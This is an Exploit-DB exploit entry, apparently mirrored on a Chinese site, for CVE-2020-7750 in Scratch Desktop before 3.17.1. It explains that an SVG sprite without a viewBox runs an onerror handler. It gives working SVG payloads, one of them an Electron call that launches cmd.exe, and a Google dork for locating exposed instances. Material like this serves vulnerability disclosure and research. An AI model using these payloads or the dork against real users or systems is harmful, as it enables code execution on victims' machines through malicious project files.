Scratch Desktop 3.17 – Remote Code Execution

• Exploit Database
• 122 阅读

• 作者： Stig Magnus Baugstø
  日期： 2021-07-02
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50079/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

  # Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE) # Google Dork: &apos;inurl:"/projects/editor/?tutorial=getStarted" -mit.edu&apos; (not foolproof on versioning) # Date: 2021-06-18 # Exploit Author: Stig Magnus Baugstø # Vendor Homepage: https://scratch.mit.edu/ # Software Link: https://web.archive.org/web/20210225011334/https://downloads.scratch.mit.edu/desktop/Scratch%20Desktop%20Setup%203.10.2.exe # Version: 3.10.2 # Tested on: Windows 10 x64, but should be platform independent. # CVE: CVE-2020-7750   Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease.20201019174008   CVE-2020-7750 was disclosed on Scratch&apos;s official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: https://scratch.mit.edu/discuss/topic/449794/   You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example:   <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://www.exploit-db.com/exploits/50079/doesNotExist.png" onerror="<INSERT JS PAYLOAD>" /> </svg>   The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way.   Example of regular cross-site scripting (XSS):   <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://www.exploit-db.com/exploits/50079/doesNotExist.png" onerror="alert(&apos;Pwned!&apos;)" /> </svg>   The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE):   <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://www.exploit-db.com/exploits/50079/doesNotExist.png" onerror="require(&apos;electron&apos;).shell.openExternal(&apos;cmd.exe&apos;)" /> </svg>   The example above launches cmd.exe (Command Prompt) on Windows.   For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit&apos;s author: https://www.mnemonic.no/blog/exploiting-scratch-with-a-malicious-image/   Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch&apos;s official forums.